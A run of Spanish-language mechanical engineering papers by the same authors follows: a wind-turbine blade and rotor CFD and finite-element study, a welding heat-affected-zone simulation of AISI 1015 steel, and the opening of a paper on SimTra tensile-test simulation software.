En la actualidad, la energía eólica es utilizada principalmente para producir energía eléctrica mediante aerogeneradores. Por ejemplo, a finales de 2017, la capacidad mundial de los generadores eólicos fue de 539 gigavatios. En 2011 la energía eólica generó alrededor del 3% del consumo de electricidad mundial. La energía eólica es un recurso abundante, renovable, limpio y ayuda a disminuir las emisiones de gases de efecto invernadero al reemplazar termoeléctricas a base de combustibles fósiles, lo que la convierte en un tipo de energía verde. Su principal inconveniente es la intermitencia del viento.

Un factor importante que permite aprovechar la energía eólica es el conocimiento del comportamiento de los vientos en la zona donde se van a instalar los aerogeneradores. Este comportamiento puede variar durante el día y la noche, pero también se ve influenciado por la altura. En este sentido los datos históricos brindan valiosas informaciones.

Es también importante conocer la velocidad máxima del viento. Para poder utilizar la energía del viento, es necesario que este alcance una velocidad mínima que depende del aerogenerador que se vaya a utilizar pero que suele empezar entre los 3m/s (10km/h) y los 4m/s (14,4km/h), velocidad llamada "cut-in speed", y que no supere los 25m/s (90km/h), velocidad llamada "cut-out speed".

Un método basado en el análisis del cambio de circulación y momentum a través de cada estación del álabe para optimizar el rendimiento del rotor en aerogeneradores de eje horizontal, a baja velocidad de viento y paso fijo se propuso por.

En [4] se realizó el estudio de un rotor H-Darrieus con perfiles NACA 0012 modificados, mediante Fluent. Inc v6.2 y túnel de viento. Otros autores propusieron el diseño y la construcción de un prototipo de un aerogenerador de carácter doméstico como una estrategia para minimizar el consumo de combustibles fósiles y contribuir al suministro de energía útil en áreas remotas al acceso de otras fuentes de energía.

Se desarrolló el estudio computacional y experimental de un aerogenerador de eje horizontal de 3 palas en. La comparación de los resultados de este estudio, en concreto de las curvas características obtenidas, con los resultados de estudios sobre aerogeneradores de eje vertical reflejan las diferencias entre ambos tipos de turbinas.

Se desarrolló un análisis CFD bidimensional y tridimensional de un aerogenerador H-Darrieus con perfiles NACA 0025 para su comparación. Con el desarrollo del estudio numérico y experimental de modelos de aerogenerador H-Darrieus con perfiles NACA 0015 y 4518 utilizando un modelo de turbulencia k-omega SST, se obtuvo un buen acuerdo con resultados

numéricos y los experimentales. Se desarrolló el estudio de un aerogenerador de eje vertical de 500 W.

En propusieron un aerogenerador de eje horizontal con un disco parabólico en el rotor. Estos autores plantearon que con esa configuración la máquina es capaz de capturar más energía cinética del viento, ya que posee un gran coeficiente de arrastre.

El diseño de máquinas para aprovechar la energía del viento es un tema de interés para investigadores e ingenieros. El desarrollo de las técnicas computacionales ha provisto a estas personas de potentes herramientas para realizar sus estudios. En este trabajo se expone, en primer lugar, el diseño de la pala de un aerogenerador de baja potencia y posteriormente se realiza una propuesta para el diseño del rotor del mismo aerogenerador. Se realiza el estudio del flujo de aire sobre la pala y el rotor mediante la simulación aplicando técnicas de la Dinámica Computacional de Fluidos (CFD, siglas en inglés de Computational Fluid Dynamics). En ambos casos, se aplica la concatenación de los estudios de flujo y estáticos para determinar las tensiones y los desplazamientos que ocurren en los elementos mecánicos.

Se proponen dos objetivos para desarrollar este trabajo:

1. Evaluar el diseño de la pala de un aerogenerador de baja potencia, determinando las presiones por la acción del viento mediante métodos convencionales y de los elementos finitos.
1. Evaluar el diseño del rotor de un aerogenerador concatenando la simulación de fluidos y estática.

MATERIALES Y MÉTODOS

El aerogenerador para el que se propone el diseño de la pala y del rotor está previsto sea una máquina de baja potencia, o sea que pueda generar hasta 3 kW. La ubicación del eje del rotor es horizontal.

Propuestas de modelo geométrico, material, cargas y mallado para la pala del aerogenerador

Para cumplimentar los objetivos propuestos, en primer lugar, se propuso un modelo geométrico para la pala del aerogenerador (Fig. 1). El programa CAD utilizado fue el SolidWorks 2015. El perfil de la pala propuesto en la Fig. 1a) tiene una forma elíptica. En la vista en isométrico de la Fig. 1c) es importante señalar que entre las líneas media de la sección transversal de la base y de la punta de la pala se forma un ángulo de 45°. Este ángulo varía en la longitud de la pala, con el propósito de que el viento le incida a la pala desde cualquier posición.

Figura 1. Modelo geométrico para la pala del aerogenerador. a) Perfil elíptico de la pala. b) Sección transversal. c) Isométrico.

El material propuesto en la construcción de la pala es una aleación de aluminio 1060. Las características del material necesarias se muestran en la Tabla 1.

Tabla 1. Características de la aleación de aluminio 1060. [11]

Propiedad	Valor	Unidad
Módulo de elasticidad	69	GPa
Coeficiente de Poisson	0,33	-
Densidad	2700	kg/m ³
Límite elástico	275,74	MPa
Límite de rotura	689,35	MPa

Para determinar las tensiones y los desplazamientos en la pala se utilizó el método de los elementos finitos, considerando que sobre la pala actúan las siguientes fuerzas:

1. El peso propio de la pala.
2. La presión provocada por la acción del viento.

El peso propio de la pala se determinó como el producto de la aceleración de la gravedad (9,81 m/s²) por la masa de la pala (520,1 g. Este valor fue obtenido de los cálculos que realiza el programa CAD utilizado). De esta manera el peso propio es igual a 5,102 N.

En el análisis de la pala se determinó la presión mediante dos métodos diferentes. En el primer caso, mediante métodos analíticos se consideró la presión como una carga distribuida lineal en todo el perfil de la pala. Para ello se empleó el concepto de que la presión p es la fuerza perpendicular distribuida sobre una superficie A . (Ecuación 1), mientras que la ecuación 2 permite calcular la fuerza del viento F_v .

$$p = \frac{F_v}{A} \quad (1)$$

$$F_v = \frac{1}{2} \rho A v^2 \quad (2)$$

Considerando la densidad del aire $\rho = 1,45 \text{ kg/m}^3$ y la velocidad del viento $v = 10 \text{ m/s}$ se obtuvo que la presión ejercida por el viento es de $72,5 \text{ N/m}^2$.

En la unión entre la pala y la base se consideró que existen restricciones fijas.

Se estudiaron cuatro posiciones diferentes para la pala (Fig. 2a) en el complemento *Simulation* que tiene incorporado el programa *SolidWorks*. En todas ellas la presión del viento provocó la flexión de la pala, pero la acción del peso propio, de acuerdo a la posición que ocupaba la pala, provocaba diferentes solicitaciones: flexión, tracción o compresión.

Figura 2. a) Posiciones de la pala para los estudios mediante el método de los elementos finitos. b) Mallado del modelo.

En la Fig. 2b) se encuentra el mallado del modelo. Se asumió que el modelo constitutivo del material es isotrópico lineal. El tipo de elemento finito es tetraédrico (cuadrático de alto orden). La malla tiene 8 272 elementos y 15 367 nodos. El tamaño de los elementos es $8,044 \text{ mm}$, mientras que la tolerancia es de $0,402 \text{ mm}$.

RESULTADOS

Resultados del cálculo determinando la presión por métodos convencionales

A continuación, en la Fig. 3a) y b) se muestran el estado tensional y los desplazamientos que ocurren en la pala en una posición, cuando se encuentra solicitada a flexión tanto por la gravedad como por la presión del viento. Las tensiones máximas que ocurren en ese caso son en la base de la pala y tienen un valor de $1,1 \text{ MPa}$. Los desplazamientos mayores se ven en el extremo libre y son de $0,21 \text{ mm}$. Ambos valores son admisibles.

Figura 3. La pala se encuentra a flexión por la acción de la gravedad y de la presión del viento. a) Estado tensional. b) Desplazamientos.

Resultados del cálculo determinando la presión por métodos numéricos

Después de realizado este análisis se procedió a determinar la presión mediante la simulación del viento como un fluido utilizando técnicas CFD. Ahora se utilizó el complemento *FlowSimulation*. Para ello se configuró un estudio externo, con el viento actuando a una velocidad de 10 m/s y a presión ambiente. El dominio computacional definido se muestra en la Fig. 4a), mientras que en las Figs. 4b) y c) están los perfiles de velocidad y presión obtenidos sobre la pala respectivamente.

Figura 4. Simulación CFD del viento sobre la pala del aerogenerador. a) Dominio computacional. b) Perfiles de velocidad. c) Perfiles de presión.

En estos estudios se observó que existen zonas de mayores presiones en la parte delantera de la pala. El siguiente paso fue exportar los estudios de flujo como cargas mecánicas para evaluar las tensiones (Fig. 5a) y los desplazamientos (Fig. 5b) que ocurren en la pala.

Las tensiones y los desplazamientos se comportaron igual que cuando se determinó la presión por métodos analíticos, o sea, los valores mayores ocurren en los mismos lugares. Sin embargo, las tensiones máximas ahora fueron de 2 MPa y los desplazamientos de 1,19 mm. Aunque estos valores son admisibles, es posible considerar que estos resultados permiten juzgar mejor sobre el comportamiento del material.

Figura 5. a) Tensiones en la pala determinando la presión mediante CFD. b) Desplazamientos en la pala determinando la presión mediante CFD.

Cálculo del rotor completo

A continuación, se procedió a realizar el estudio del rotor para un aerogenerador horizontal tripala de baja potencia con la configuración de las palas propuesta en este trabajo. El modelo geométrico propuesto está en la Fig. 6.

Figura 6. Modelo geométrico para el rotor del aerogenerador horizontal tripala.

Atendiendo a que en los estudios anteriores se concluyó que los resultados mejores se obtienen con la simulación CFD de la acción del viento se procedió a modelar el flujo de aire sobre todo el rotor. En la Fig. 7 se encuentra el dominio computacional sobre el que se realizó este estudio.

Figura 7. Dominio computacional para realizar el estudio del rotor.

Los perfiles de velocidad obtenidos para la acción del viento sobre el rotor se encuentran en la Fig. 8. Se apreciaron zonas de mayor presión y velocidad en la parte frontal de las palas. En la Fig. 9 se presentan gráficas del comportamiento de la presión y de la velocidad en la longitud del rotor, o sea, dirigidas hacia su eje longitudinal. Los valores negativos de velocidad se deben a que el movimiento del aire se realiza en el sentido negativo del eje X. Se aprecia en todos los casos que existe un aumento tanto de la presión como de la velocidad en el frente de la pala, luego ocurre una disminución para volver a aumentar después que el flujo se aleja de la pala.

Figura 8. Perfiles de velocidad del viento en el rotor del aerogenerador.

Figura 9. Comportamiento de la presión (a) y de la velocidad (b) en el eje X.

Los valores de presión obtenidos con la simulación CFD se exportaron como una carga mecánica que actúa sobre el rotor. De esta manera fue posible conocer las tensiones y los desplazamientos que ocurren en el rotor considerando el efecto del flujo como una carga mecánica, la acción del peso propio de las palas y de las fuerzas de inercia (centrífugas) que

surgen por el movimiento de rotación del rotor a una velocidad angular de 30 rad/s rotando sobre su eje longitudinal. Igual que en el estudio anterior el modelo utilizado fue elástico lineal. El tipo de malla fue sólida, basada en curvatura, con elementos cuadráticos de cuarto orden. El número de elementos finitos era igual a 105046 con 182258 nodos.

La Fig. 10 muestra estos resultados. Los mayores valores de tensión son de 5,19 MPa y tienen lugar cerca de la punta de las palas y en la unión entre las palas y el núcleo. Los mayores desplazamientos que ocurren en la punta de las palas son iguales a 2,835 mm.

Figura 10. a) Tensiones en el rotor del aerogenerador. b) Desplazamientos.

Por último, se realizó un estudio de frecuencias para determinar las frecuencias peligrosas que pueden surgir en el rotor del aerogenerador. En la tabla 2 se listan los valores obtenidos para los cinco primeros modos de vibración. En ella se aprecia que la frecuencia de rotación del rotor está alejada de las frecuencias a las que puede surgir la resonancia del sistema.

Tabla 2. Frecuencias resonantes.

Modo	Frecuencia (rad/s)	Frecuencia (Hz)	Período (s)
1	91,304	14,531	0,068816
2	91,306	14,532	0,068815
3	91,306	14,532	0,068814
4	309,03	49,184	0,020332
5	309,04	49,185	0,020331

CONCLUSIONES

Las conclusiones obtenidas en este trabajo son:

- Es posible realizar el diseño de las palas de aerogeneradores mediante el método de los elementos finitos mediante la concatenación de estudios de flujo y estáticos.
- Existen diferencias entre los resultados obtenidos cuando la presión que ejerce el viento se determina mediante métodos convencionales y numéricos. Estas diferencias se deben a los perfiles de presión que ocurren en las inmediaciones de la pala que se obtienen mediante el programa de CFD y que no se consideran cuando se determina por el concepto convencional de presión.
- En el diseño propuesto para el rotor de un aerogenerador de baja potencia surgen valores de tensión y desplazamiento que no afectan el funcionamiento del elemento.
- La frecuencia de trabajo del rotor está alejada de los posibles valores a los que puede ocurrir la resonancia del sistema.

REFERENCIAS BIBLIOGRÁFICAS

WIKIPEDIA 2018. La enciclopedia libre. Energía Eólica. [en línea]. [ref. de 5 de septiembre 2018] Disponible en Web: https://es.wikipedia.org/wiki/Energia_eolica.

GLOBAL WIND ENERGY COUNCIL. Cost-competitiveness puts wind in front [en línea]. [ref. de 6 de septiembre 2018]. Disponible en Web: <http://gwec.net/cost-competitiveness-puts-wind-in-front/>

AREVALO, Hugo, GUTIERREZ, Jairo, MERAYO, Jhon. “Diseño de rotor para un aerogenerador de bajas velocidades”. Ciencia y poder aéreo, 2009, vol. 4, núm. 1, pp. 30 – 37.

BISWAS, A., GUPTA, R. “Computational fluid dynamics analysis of a twisted three-bladed H-Darrieus rotor.” Journal of Renewable and Sustainable Energy, 2010, vol. 2, núm. 4, pp.

GONZÁLEZ-SIERRA, Hernando, VALCÁRCEL-MONTAÑEZ, Justo-Pastor, SÁNCHEZ-TORRES, Sonia-Aalejandra. “Diseño y construcción de un generador eólico de energía eléctrica continua.” Entornos, 2011, vol. 24, pp. 139-146

LANZAFAME, Rosario, MAURO, Stefano, MESSINA, Michele. “Wind turbine CFD modeling using a correlation-based transitional model.” Renewable Energy, 2013, vol. 52(C), p. 31-39.

REVILLA, Javier. “Análisis CFD bidimensional y tridimensional de turbinas de viento tipo H-Darrieus con perfiles NACA 0025. Metodología para establecer las condiciones operativas.” Directores: María-Teresa Parra-Santos y Armando Gallegos-Muñoz, Trabajo Fin de Grado, Universidad de Valladolid, Valladolid, 2014.

LANZAFAME, Rosario, MAURO, Stefano, MESSINA, Michele. “2D CFD Modeling of H-Darrieus Wind Turbines using a Transition Turbulence Model.” Energy Procedia, 2014, vol. 45, pp. 131-140.

YOUNG-TAE, L., HEE-CHANG, L. "Numerical study of the aerodynamic performance of a 500 W Darrieus-type vertical-axis wind turbine." Renewable Energy, 2015, 83(), pp. 407-415.

VELEIRO, Marlen, FRANCESCHI, Raúl, MARIN, Nacari. "Diseño y análisis del rendimiento del rotor del aerogenerador ELISA." Revista de Iniciación Científica Journal of Undergraduate Research, 2017, vol. 3, (Edición Especial), pp. 38-44.

DASSAULT SYSTEMS. 2015. Biblioteca de materiales del programa SolidWorks Simulation 2015.

BIOGRAFÍAS DE AUTORES

Julio César Pino Tarragó, Ingeniero Mecánico. Doctor en Ciencias Técnicas por la Universidad Politécnica de Madrid. Profesor de la Carrera de Ingeniería Civil, Facultad de Ciencias Técnicas en la Universidad Estatal del Sur de Manabí, Ecuador. Email: jpinoecuador@gmail.com.

Pavel Michel Almaguer Zaldivar, Ingeniero Mecánico. Máster en Diseño y Fabricación Asistido por Computadora. Profesor e investigador en el Centro de Estudios CAD/CAM de la Facultad de Ingeniería en la Universidad de Holguín. Presidente de la Asociación de Ingenieros Mecánicos de Holguín (ASIMEC). Email: pavel@uho.edu.cu, pavelmichel@gmail.com

José Martínez Grave de Peralta, Ingeniero Mecánico. Máster en Maquinaria Agrícola. Profesor e investigador en el Departamento Mecánica Aplicada de la Facultad de Ingeniería en la Universidad de Holguín.

Dunia Lisbet Domínguez Gálvez, Ingeniera en Procesos Agroindustriales. Profesora en nivelación de la Universidad Estatal del Sur de Manabí.

ESTUDIO DE PROPIEDADES EN LA ZONA AFECTADA TÉRMICAMENTE DE UNA UNIÓN SOLDADA USANDO LA SIMULACIÓN DE TERMODEPENDENCIA

Julio César Pino Tarragó.

Pavel Michel Almaguer Zaldivar

Dunia Lisbet Domínguez Gálvez

UNIVERSIDAD ESTATAL DEL SUR DE MANABÍ

jpinoecuador@gmail.com

RESUMEN

La zona afectada térmicamente es donde ocurre el fallo de las uniones soldadas, por lo que es considerada como una entalla metalúrgica. Por esa razón es necesario el conocimiento de las dimensiones de esa zona. En este trabajo se aborda el tema de la termodependencia de las propiedades del acero AISI 1015 en las dimensiones de la zona de afectación térmica en uniones soldadas a tope. Para evaluar esta influencia se propone un modelo geométrico elaborado en el programa SolidWorks 2014, mientras que se utiliza el complemento Simulation para la aplicación del Método de los Elementos Finitos y obtener la posición de las isothermas que definen las dimensiones de la zona de afectación térmica. Mediante el empleo de curvas de temperatura se definen las propiedades termodependientes. Para obtener los resultados se realizaron estudios térmicos transitorios para el movimiento del electrodo y de enfriamiento, considerando que hay o no termodependencia de las propiedades. Se comparan las dimensiones de la zona de afectación térmica para ambos resultados, obteniéndose que existe diferencia entre la posición de las distintas isothermas cuando se considera o no la termodependencia de las propiedades físicas y mecánicas.

PALABRAS CLAVE: acero AISI 1015; curvas de tiempo; propiedades termodependientes; simulación numérica; zona afectada térmicamente.

ABSTRACT

Heat affected zone is where the failure of the welded joints occurs, reason why it is considered like a metallurgical notch. By this cause, it is necessary to know the heat affected zone size. This paper deals with the thermal dependency of AISI 1015 steel properties in the welded butt joints heat affected zone size. To evaluate this influence a geometric model elaborated in the software SolidWorks 2014 are propose, while the Simulation complement is used for the application of the Finite Element Method to obtain the position of the isotherms that define the dimensions of the heat affected zone. The thermal dependency in the material properties are defined by the use of temperature curves. In order to obtain the results, transient thermal studies were carried out for electrode movement and cooling, considering that there is or not thermal dependency of the properties. The dimensions of the zone of thermal affectation for both results are compared, obtaining that there is difference between the position of the different isotherms when considering or not the physical and mechanical properties thermal dependency.

KEYWORDS: AISI 1015 steel; time curves; thermal dependency properties; numerical simulation; heat affected zone.

INTRODUCCIÓN

En las estructuras aparecen uniones con diversas utilidades, como para conectar varios elementos más sencillos que correctamente ensamblados constituyen una máquina completa. Otra es para transmitir diversas cargas de un elemento o pieza a otro.

Existen diferentes tipos de uniones que componen a los distintos elementos de las máquinas. Una de ellas es la soldadura que es un proceso de fabricación donde se realiza la unión de dos materiales, en la cual las piezas son soldadas fundiendo ambas y con la aportación o no de un material de relleno fundido, que, al enfriarse, convierte la soldadura en una unión fija. A veces la presión es usada conjuntamente con el calor, o por sí misma, para producir la soldadura. Uno de los tipos más comunes de soldadura de arco es la soldadura manual con electrodo revestido (SMAW, Shielded Metal Arc Welding).

Al emplear una fuente de calor móvil fuertemente concentrada, como puede ser un arco eléctrico, ocurren procesos físico-químicos, estructurales y termodeformacionales de diversa índole que provocan la aparición de tensiones residuales, particularmente en el cordón y en la zona afectada térmicamente (ZAT). (Lincoln, 1994; Kalpakjian, 2001).

En la simulación numérica se consideran un grupo de propiedades físicas y mecánicas que son necesarias para la solución del problema de conocer la distribución de las temperaturas y tensiones residuales en la unión. Estas propiedades varían con la temperatura (Stiopin, 1978). Los programas de simulación numérica permiten considerar o no esas variaciones, por lo que es necesario conocer la medida en la que se afectan los resultados cuando se tiene o no en cuenta la termodependencia de las propiedades en los resultados de los procesos donde existen gradientes de temperatura.

En este trabajo se realizó la simulación numérica del proceso de soldadura manual por arco eléctrico de una unión soldada a tope de acero AISI 1015 y electrodo E6013. El objetivo que se persigue es evaluar las dimensiones de la ZAT en las uniones soldadas a tope mediante el Método de los Elementos Finitos (MEF), considerando la influencia de las propiedades dependientes de la temperatura. De esta manera se configuraron estudios térmicos transitorios. En uno se definió que existía termodependencia de las propiedades y en el otro no.

MATERIALES Y MÉTODOS

Caracterización de los materiales utilizados

El acero AISI 1015, es un acero de construcción con una buena soldabilidad metalúrgica, operatoria y constructiva. Las tablas 1 y 2 muestran la composición química y las propiedades mecánicas del material base respectivamente.

Tabla 1. Composición química del acero AISI 1015. (www.matweb.com, 2018)

Composición	Valor
%C	0,13- 0,18
%Mn	0,30 – 0,60
%Si	0,17 – 0,37

%S	$\leq 0,05$
%P	$\leq 0,04$

Tabla 2. Propiedades físicas y mecánicas del acero AISI 1015 a temperatura ambiente.
(www.matweb.com, 2018)

Propiedades	Valor
Límite de rotura σ_u (MPa)	420
Límite elástico σ_y (MPa)	315
Coefficiente de Poisson ν	0,29
Densidad ρ (kg/m ³)	7870
Coefficiente de dilatación térmica α (1/°C)	119×10^{-7}
Módulo de elasticidad E (MPa)	205 000
Alargamiento ϵ (%)	39
Extricción ϵ (%)	61

El material de aporte utilizado fue el electrodo E6013.

La tabla 3 muestra las propiedades mecánicas del depósito. Las propiedades mecánicas mostradas se obtuvieron de los datos proporcionados por el fabricante en el envase de los electrodos. Como se aprecia en la primera de ellas, la resistencia mecánica de este material de aporte es algo superior que la del material base, referida en la tabla 2, por lo tanto, la selección de este electrodo es posible.

Tabla 3. Propiedades mecánicas del depósito. (Datos del fabricante)

Propiedades	Valor
Límite de rotura σ_u (MPa)	431
Límite elástico σ_y (MPa)	392
Alargamiento ϵ (%)	20 – 28

Extracción $\square$ (%)	35 – 60
Resiliencia (MPa)	0,92

La figura 1 expone las propiedades dependientes de la temperatura utilizadas para evaluar la termodependencia.

Figura 1. Propiedades dependientes de la temperatura del Acero AISI 1015.a) Coeficiente de dilatación térmica. (www.matweb.com, 2018). b) Propiedades mecánicas. (Stiopin, 1978)

Modelo geométrico

El modelo geométrico utilizado se muestra en la figura 2. Se compone de dos planchas y el cordón de soldadura. El mismo se dividió en cinco partes para facilitar la simulación del movimiento del electrodo.

Figura 2. Modelo geométrico.

Mallado del modelo

El tipo de elemento de finito utilizado es tetraédrico. El tamaño de los elementos es 0,779 mm, mientras que la tolerancia es igual a 0,039 mm. La cantidad de elementos presentes en el modelo fue de 37 577 mientras que la cantidad de nodos es de 59 550. En los estudios térmicos,

el tipo de elemento finito utilizado tiene un grado de libertad por nodo que se corresponde con la temperatura nodal. El mallado del modelo obtenido de esta manera se expone en la figura 3.

Figura 3. Modelo geométrico mallado.

Estudio térmico transitorio

En el estudio térmico transitorio se realizó la simulación del movimiento del electrodo en una unión soldada a tope de acero AISI 1015. El objetivo es comparar los resultados de las dimensiones de la zona de afectación térmica, considerando que hay o no termodependencia de las propiedades físicas y mecánicas de las dos planchas soldadas.

Para realizar el estudio se procedió como se describe a continuación. Primero se hizo clic derecho en el ícono de la pieza para elegir el comando “Aplicar material”. En la ventana que aparece se definieron o no las propiedades termodependientes. Después, en las propiedades del estudio térmico se definió el tipo de estudio como transitorio y el paso que fue de un segundo. El intervalo estudiado, en un primer momento, fue de siete segundos, considerando que es el tiempo en que ha terminado de moverse el electrodo sobre las planchas.

Como en el estudio térmico transitorio se persigue simular el movimiento de la fuente de calor, o sea, el desplazamiento del electrodo mientras se realiza la soldadura, es preciso definir curvas de tiempo de la dependencia de la fuente de calor en el tiempo, que no son más que la descripción mediante una función de cómo varía la fuente de calor durante el desarrollo del proceso de soldadura.

Es necesario conocer cuáles son las cargas térmicas que se aplican al modelo y las condiciones de frontera existentes. Las primeras están dadas por la potencia del arco, mientras que las segundas son la forma en que se transfiere calor al medio.

La potencia calorífica del arco P es posible calcularla mediante (1):

$$P = \eta IU \quad (1)$$

Donde:

η : es la eficiencia del proceso de soldadura. Para un proceso de soldadura manual por arco eléctrico se puede considerar igual a 0,75.

I : es la intensidad de la corriente en el arco. Se determinó a partir del diámetro del electrodo y en este estudio se tomó igual a 57 A.

U : la tensión de la corriente. Se consideró igual a 25 V.

Con los valores expuestos se determinó que la potencia P es igual a 1 068,75 W.

La velocidad de soldadura v_e es otra variable importante en la simulación de los procesos de soldadura. Para este estudio es de 14,48 m/h que es aproximadamente igual a 4 mm/s. De esta manera se definen las curvas de tiempo que se utilizan para modelar el desplazamiento del electrodo durante la soldadura. El ancho de la plancha y del cordón es de 20 mm y se ha dividido en cinco partes de 4 mm cada una. Esto indica que la fuente de calor permanece durante un segundo en cada parte del cordón. Un ejemplo de las curvas de tiempo que se utilizaron en este estudio se muestra en la figura 4.

Figura 4. Curva de tiempo para la aplicación de la fuente de calor en el paso 1.

La transferencia de calor al medio ocurre mediante mecanismos de convección. El coeficiente de película es igual a 10 W/(m².K) (Pozo, 2008). En todas las caras de la plancha se asignó este valor de manera constante.

Estudio de enfriamiento

Para hacer un mejor uso del recurso computacional se definieron estudios térmicos transitorios que simularon el enfriamiento de la unión. En estos estudios se planteó que la temperatura inicial para los diferentes casos, considerando o no la termodependencia, es la temperatura final de los estudios térmicos precedentes, o sea, de cuando se simulaba el movimiento del electrodo. El paso de tiempo se fijó a 40 segundos. El intervalo de tiempo total estudiado fue de 2 000 segundos, que es cuando se logra el enfriamiento de las planchas hasta la temperatura ambiente. Como se aumentó el paso de tiempo, el programa tiene que realizar menos cálculos y esto provocó que el tiempo utilizado para obtener los resultados fuera menor.

En este caso la única carga térmica presente es la convección libre, expresada por el coeficiente de transferencia de calor igual a 10 W/(m².K).

RESULTADOS Y DISCUSIÓN

Análisis de los resultados obtenidos en el estudio térmico transitorio con y sin termodependencia

Después de realizados los estudios térmicos transitorios, se muestran los resultados. Sobre la etiqueta del resultado del estudio térmico se hizo clic derecho y se escogió el comando “Iso-superficie” para conocer las posiciones de las isoterma de 723 °C, 910 °C y 1100 °C; para ambos estudios, o sea, con o sin termodependencia. Esto se realizó para evaluar las dimensiones de la ZAT. Las tres isoterma planteadas se corresponden con la definición de tres subzonas de la ZAT definidas por Rodríguez (19XX). La posición de las isoterma de 723 °C (limita la ZAT con el metal base que no ha sufrido transformaciones metalúrgicas), 910 °C y 1100 °C (límite entre la zona fundida y la ZAT) respectivamente. Estas temperaturas fueron escogidas del diagrama hierro – carbono que permitió conocer las temperaturas a las que ocurren los cambios de fase.

A continuación, se seleccionó el comando “Identificar valor”. Con esto se conocieron las coordenadas de las diferentes isoterma y los valores de temperatura que hay en los diferentes puntos. En la ventana de ese comando se clikea en el comando “Respuesta”. Esta permite conocer la curva de respuesta de la temperatura en el tiempo. Es importante señalar que la curva obtenida es posible exportarla a un programa de procesamiento de datos, para obtener diferentes gráficos que son necesarios en esta investigación. El mismo proceder se realiza para los modelos donde se considera o no la termodependencia de las propiedades del material.

En la figura 5 se muestran los resultados de la simulación del proceso de soldadura a los siete segundos, o sea, cuando se consideró que terminaba el movimiento del electrodo. La figura 5 a) se corresponde al estudio sin termodependencia, mientras que la figura 5 b) es cuando se consideró la termodependencia de las propiedades físicas y mecánicas.

Figura 5. Resultados de la simulación del proceso de soldadura a los siete segundos. a) Sin termodependencia. b) Con termodependencia.

La tabla 4 muestra la posición de las diferentes isothermas para los estudios cuando se considera o no que existe termodependencia en las propiedades del material base. Es importante señalar que la zona de afectación térmica es mayor cuando no se considera la termodependencia. Esto indica que la zona donde ocurren transformaciones metalúrgicas es mayor si se tiene en cuenta la variación de las propiedades con la temperatura por lo que es necesario tener en cuenta este fenómeno para la planificación de los procesos de soldadura mediante la simulación por el método de los elementos finitos.

Tabla 4. Posición de las isothermas.

Parámetro	Sin termodependencia			Con termodependencia		
Isoterma (°C)	1 100	910	723	1 100	910	723
X (mm)	4,33	5,11	6,67	3,17	4,33	5,5
Y (mm)	10	10	10	10	10	10
Z (mm)	0	0	0	0	0	0

Como se observa en las gráficas que aparecen en la figura 6, para el estudio sin termodependencia se aprecia el pico más alto del que se tiene en cuenta la termodependencia. En el caso de la curvas sin termodependencia se observa que la diferencia respecto a la que si se considera la termodependencia es mayor durante el calentamiento, sin embargo durante el enfriamiento las curvas prácticamente coinciden. Esta temperatura mayor durante el depósito de material (o sea, durante los procesos de calentamiento) en el estudio sin termodependencia, se corresponde con lo observado en la tabla 5 sobre las mayores dimensiones de la ZAT del primer caso. Estos calentamientos ocurren a elevadas temperaturas. De acuerdo a esta observación se plantea que durante la simulación numérica de procesos de calentamiento a elevadas temperaturas es necesario considerar la termodependencia de las propiedades mecánicas y físicas, no así durante los procesos de enfriamiento de la unión soldada.

Figura 6. Comparación de las curvas de temperatura en el tiempo en el nodo 539 ubicado sobre la línea de fusión.

CONCLUSIONES

- Existen diferencias en las dimensiones de las distintas zonas que conforman la ZAT de la unión simulada cuando se tiene en cuenta la termodependencia de las propiedades. El ancho de la ZAT cuando se considera la termodependencia es 5,1 mm, mientras que si no se considera esta es de 6,67 mm.
- Durante el calentamiento, o sea, cuando se está desplazando el electrodo existen diferencias en las curvas de temperatura versus tiempo del modelo donde se considera la termodependencia respecto al que no se considera. Mientras que en el enfriamiento de la unión esta diferencia prácticamente no existe. Esto indica que es necesario considerar la termodependencia de propiedades en la simulación numérica de los procesos térmicos transientes que ocurren a elevadas temperaturas, y que es posible despreciarla cuando la temperatura disminuye.

REFERENCIAS BIBLIOGRÁFICAS

- Kalpakjian, S. Schmid, S. (2013). Manufacturing Engineering and Technology. (7ma Ed. pp 1224). New Jersey: Prentice Hall.
- Lincoln Electric (1994). The Procedure Handbook of Arc Welding. (13 Ed.). Cleveland: Lincoln Electric.
- Stiopin, P. A. (1976) Resistencia de Materiales. (6ta ed. pp. 369). Moscú: Mir.
- Pozo, J. A. (2008). Metodología para el establecimiento de procedimientos de soldadura en aleaciones de aluminio al magnesio mediante la modelación por elementos finitos. (Tesis doctoral no publicada), Universidad Central "Marta Abreu" de las Villas, Santa Clara, Cuba.

Rodríguez, H. (1983). Metalurgia de la soldadura. La Habana: Pueblo y Educación.

BIOGRAFÍAS DE AUTORES

Julio César Pino Tarragó, Ingeniero Mecánico. Doctor en Ciencias Técnicas por la Universidad Politécnica de Madrid. Profesor de la Carrera de Ingeniería Civil, Facultad de Ciencias Técnicas en la Universidad Estatal del Sur de Manabí, Ecuador. Email: jpinoecuador@gmail.com.

Pavel Michel Almaguer Zaldivar, Ingeniero Mecánico. Máster en Diseño y Fabricación Asistido por Computadora. Profesor e investigador en el Centro de Estudios CAD/CAM de la Facultad de Ingeniería en la Universidad de Holguín. Presidente de la Asociación de Ingenieros Mecánicos de Holguín (ASIMEC). Email: pavel@uho.edu.cu, pavelmichel@gmail.com

Dunia Lisbet Domínguez Gálvez, Ingeniera en Procesos Agroindustriales. Profesora en nivelación de la Universidad Estatal del Sur de Manabí.

SIMULACIÓN DEL ENSAYO A TRACCIÓN COMPARANDO RESULTADOS OBTENIDOS POR ELEMENTOS FINITOS Y CON EL SOFTWARE SIMTRA

Julio César Pino Tarragó.

Pavel Michel Almaguer Zaldivar

Dunia Lisbet Domínguez Gálvez

UNIVERSIDAD ESTATAL DEL SUR DE MANABÍ

jpinoecuador@gmail.com

RESUMEN

Se muestran las características del software SimTra. Este es un programa para simular el ensayo a tracción de diferentes materiales. Los ensayos simulados son los de acero al carbono, acero aleado y hierro fundido. La aplicación de este software permite a los estudiantes conocer el experimento antes de efectuarlo, por lo se logra una mejor comprensión del ensayo. Se comparó el ensayo simulado con el programa SimTra con uno simulado mediante el método de los elementos finitos, el reportado en la bibliografía y el realizado en una máquina de ensayos. Se encontraron semejanzas entre ellas lo que demostró la factibilidad de utilizar a SimTra para la enseñanza del ensayo a tracción.

PALABRAS CLAVES: software educativo, ensayo a tracción, simulación, Mecánica de Materiales

ABSTRACT

